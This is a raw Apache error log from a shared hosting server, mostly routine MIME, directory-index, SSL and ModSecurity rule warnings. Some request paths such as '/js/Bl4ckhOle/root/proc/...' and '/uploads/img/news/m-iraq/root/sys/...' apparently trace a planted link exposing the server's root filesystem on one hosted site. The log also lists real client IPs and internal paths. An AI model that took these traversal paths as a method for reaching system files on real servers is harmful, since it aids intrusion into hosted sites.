[Fri Jul 17 10:38:02.157287 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:03.715650 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:03.794300 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:04.701969 2026] [autoindex:error] [pid 2075978:tid 2075978] [client 20.226.60.151:0] AH01276: Cannot serve directory /home/asrgroup/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:38:04.942976 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:05.046652 2026] [security2:error] [pid 2081358:tid 2081358] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm4tZWREna-U6bV0tajDQAAABA"], referer: http://anandaobauae.org/?C=S;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 10:38:05.046721 2026] [security2:error] [pid 2081358:tid 2081358] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm4tZWREna-U6bV0tajDQAAABA"], referer: http://anandaobauae.org/?C=S;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 10:38:05.063715 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:05.770479 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:05.960044 2026] [autoindex:error] [pid 2075690:tid 2075690] [client 20.226.60.151:0] AH01276: Cannot serve directory /home/asrgroup/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:38:07.230474 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:07.301051 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:07.667154 2026] [ssl:error] [pid 2076132:tid 2076132] (70014)End of file found: [client 66.85.158.91:45144] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:38:09.054910 2026] [core:error] [pid 2075978:tid 2075978] (13)Permission denied: [client 57.141.18.50:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory63/node0/memory94/node0/memory88/subsystem/devices/memory103/subsystem/devices/memory141/subsystem/drivers_probe
[Fri Jul 17 10:38:09.608566 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:09.628238 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:11.401438 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:11.722491 2026] [ssl:error] [pid 2080166:tid 2080166] (70014)End of file found: [client 66.85.158.91:43912] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:38:11.928762 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:13.759105 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:14.057896 2026] [cgi:error] [pid 2076188:tid 2076188] [client 20.226.60.151:0] AH02812: stderr from /home/asrgroup/public_html/cgi-bin/: attempt to invoke directory as script
[Fri Jul 17 10:38:14.283261 2026] [autoindex:error] [pid 2081373:tid 2081373] [client 20.226.60.151:0] AH01276: Cannot serve directory /home/asrgroup/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:38:15.794507 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:15.987561 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:16.430719 2026] [security2:error] [pid 2075901:tid 2075901] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm4wGFDQ6dUmh6WfoaG8QAAAAc"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 10:38:16.430749 2026] [security2:error] [pid 2075901:tid 2075901] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm4wGFDQ6dUmh6WfoaG8QAAAAc"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 10:38:16.723594 2026] [autoindex:error] [pid 2075718:tid 2075718] [client 20.226.60.151:0] AH01276: Cannot serve directory /home/asrgroup/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:38:19.895925 2026] [autoindex:error] [pid 2075690:tid 2075690] [client 20.226.60.151:0] AH01276: Cannot serve directory /home/asrgroup/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:38:21.052209 2026] [autoindex:error] [pid 2075711:tid 2075711] [client 20.226.60.151:0] AH01276: Cannot serve directory /home/asrgroup/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:38:22.506567 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:22.611032 2026] [mime:warn] [pid 2081358:tid 2081358] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:22.633315 2026] [autoindex:error] [pid 2079960:tid 2079960] [client 20.226.60.151:0] AH01276: Cannot serve directory /home/asrgroup/public_html/wp-content/uploads/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:38:24.526388 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:25.018581 2026] [ssl:error] [pid 2075908:tid 2075908] (70014)End of file found: [client 66.85.158.91:51426] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:38:25.188254 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:26.686825 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:26.697412 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:28.425589 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:28.800827 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:28.854644 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:30.477203 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:30.919867 2026] [ssl:error] [pid 2075690:tid 2075690] (70014)End of file found: [client 66.85.158.91:52072] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:38:30.944873 2026] [mime:warn] [pid 2081387:tid 2081387] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:32.140934 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:32.545150 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:32.787839 2026] [mime:warn] [pid 2081373:tid 2081373] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:33.114266 2026] [ssl:error] [pid 2080166:tid 2080166] (70014)End of file found: [client 66.85.158.91:54170] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:38:34.370491 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:35.016887 2026] [security2:error] [pid 2075908:tid 2075908] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/input/input3/subsystem/event1/device/input1::capslock/trigger"] [unique_id "alm400j_u9-aE9qeQW0fJQAAAAk"]
[Fri Jul 17 10:38:35.016934 2026] [security2:error] [pid 2075908:tid 2075908] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/input/input3/subsystem/event1/device/input1::capslock/trigger"] [unique_id "alm400j_u9-aE9qeQW0fJQAAAAk"]
[Fri Jul 17 10:38:35.017674 2026] [security2:error] [pid 2075723:tid 2075723] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/input/event2/subsystem/input1/input1::scrolllock/max_brightness"] [unique_id "alm400D0S6w5KyU992IP9gAAAAM"]
[Fri Jul 17 10:38:35.017728 2026] [security2:error] [pid 2075723:tid 2075723] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/input/event2/subsystem/input1/input1::scrolllock/max_brightness"] [unique_id "alm400D0S6w5KyU992IP9gAAAAM"]
[Fri Jul 17 10:38:35.571413 2026] [autoindex:error] [pid 2075908:tid 2075908] [client 20.226.60.151:0] AH01276: Cannot serve directory /home/asrgroup/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:38:35.625512 2026] [security2:error] [pid 2075718:tid 2075718] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/module/xt_set/srcversion"] [unique_id "alm403HGgRvC9MVf3SzKjQAAAAI"]
[Fri Jul 17 10:38:35.625545 2026] [security2:error] [pid 2075718:tid 2075718] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/module/xt_set/srcversion"] [unique_id "alm403HGgRvC9MVf3SzKjQAAAAI"]
[Fri Jul 17 10:38:36.014108 2026] [security2:error] [pid 2075780:tid 2075780] [client 216.244.66.250:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.ceylondigest.com"] [uri "/wp-content/uploads/2017/04/AVURUDU-PICS-2-tic-e1493282822407.jpg"] [unique_id "alm40x0C3r-GF3RTNAbVZgAAAAY"]
[Fri Jul 17 10:38:36.014587 2026] [security2:error] [pid 2075780:tid 2075780] [client 216.244.66.250:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.ceylondigest.com"] [uri "/wp-content/uploads/2017/04/AVURUDU-PICS-2-tic-e1493282822407.jpg"] [unique_id "alm40x0C3r-GF3RTNAbVZgAAAAY"]
[Fri Jul 17 10:38:36.029102 2026] [security2:error] [pid 2075780:tid 2075780] [client 216.244.66.250:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.ceylondigest.com"] [uri "/wp-content/uploads/2017/04/AVURUDU-PICS-2-tic-e1493282822407.jpg"] [unique_id "alm40x0C3r-GF3RTNAbVZgAAAAY"]
[Fri Jul 17 10:38:36.743551 2026] [autoindex:error] [pid 2075780:tid 2075780] [client 20.226.60.151:0] AH01276: Cannot serve directory /home/asrgroup/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:38:37.564347 2026] [security2:error] [pid 2075705:tid 2075705] [client 46.161.50.108:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/"] [unique_id "alm41fVsLAz87UqRdDoZmAAAAAA"]
[Fri Jul 17 10:38:37.681122 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:38.047153 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:38.359342 2026] [security2:error] [pid 2075904:tid 2075904] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm41juaDdNRw9_WO140cgAAAAg"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 10:38:38.359374 2026] [security2:error] [pid 2075904:tid 2075904] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm41juaDdNRw9_WO140cgAAAAg"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 10:38:38.394460 2026] [autoindex:error] [pid 2076231:tid 2076231] [client 20.226.60.151:0] AH01276: Cannot serve directory /home/asrgroup/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:38:39.986981 2026] [ssl:error] [pid 2075691:tid 2075691] (70014)End of file found: [client 66.85.158.91:54506] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:38:40.390316 2026] [security2:error] [pid 2081373:tid 2081373] [client 5.101.64.6:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/aaa9"] [unique_id "alm42EPK-OIDVxiTM0dx9wAAABY"]
[Fri Jul 17 10:38:40.469494 2026] [security2:error] [pid 2075780:tid 2075780] [client 216.244.66.250:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.ceylondigest.com"] [uri "/wp-content/uploads/2018/11/shaking-e1543505291193.jpg"] [unique_id "alm42B0C3r-GF3RTNAbVagAAAAY"]
[Fri Jul 17 10:38:40.470052 2026] [security2:error] [pid 2075780:tid 2075780] [client 216.244.66.250:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.ceylondigest.com"] [uri "/wp-content/uploads/2018/11/shaking-e1543505291193.jpg"] [unique_id "alm42B0C3r-GF3RTNAbVagAAAAY"]
[Fri Jul 17 10:38:40.501797 2026] [security2:error] [pid 2075780:tid 2075780] [client 216.244.66.250:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.ceylondigest.com"] [uri "/wp-content/uploads/2018/11/shaking-e1543505291193.jpg"] [unique_id "alm42B0C3r-GF3RTNAbVagAAAAY"]
[Fri Jul 17 10:38:41.097659 2026] [security2:error] [pid 2075780:tid 2075780] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/input/input3/event3/subsystem/input4/event2/dev"] [unique_id "alm42R0C3r-GF3RTNAbVawAAAAY"]
[Fri Jul 17 10:38:41.097724 2026] [security2:error] [pid 2075780:tid 2075780] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/input/input3/event3/subsystem/input4/event2/dev"] [unique_id "alm42R0C3r-GF3RTNAbVawAAAAY"]
[Fri Jul 17 10:38:41.248830 2026] [security2:error] [pid 2076132:tid 2076132] [client 5.101.64.6:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/aab9"] [unique_id "alm42QTUp7iFPeTAJ9d4iQAAAAU"]
[Fri Jul 17 10:38:41.825354 2026] [security2:error] [pid 2075723:tid 2075723] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/input/event2/device/subsystem/input5/mouse2/dev"] [unique_id "alm42UD0S6w5KyU992IP_wAAAAM"]
[Fri Jul 17 10:38:41.825392 2026] [security2:error] [pid 2075723:tid 2075723] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/input/event2/device/subsystem/input5/mouse2/dev"] [unique_id "alm42UD0S6w5KyU992IP_wAAAAM"]
[Fri Jul 17 10:38:42.754410 2026] [ssl:error] [pid 2075978:tid 2075978] (70014)End of file found: [client 66.85.158.91:51882] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:38:42.934316 2026] [security2:error] [pid 2075711:tid 2075711] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/input/input1/subsystem/event2/dev"] [unique_id "alm42h3_6y13_d3Np4_7DAAAAAE"]
[Fri Jul 17 10:38:42.934367 2026] [security2:error] [pid 2075711:tid 2075711] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/input/input1/subsystem/event2/dev"] [unique_id "alm42h3_6y13_d3Np4_7DAAAAAE"]
[Fri Jul 17 10:38:42.975097 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:38:44.024191 2026] [security2:error] [pid 2075705:tid 2075705] [client 57.141.18.14:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory36/node0/memory107/node0/memory5/"] [unique_id "alm43PVsLAz87UqRdDoZoQAAAAA"]
[Fri Jul 17 10:38:44.024226 2026] [security2:error] [pid 2075705:tid 2075705] [client 57.141.18.14:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory36/node0/memory107/node0/memory5/"] [unique_id "alm43PVsLAz87UqRdDoZoQAAAAA"]
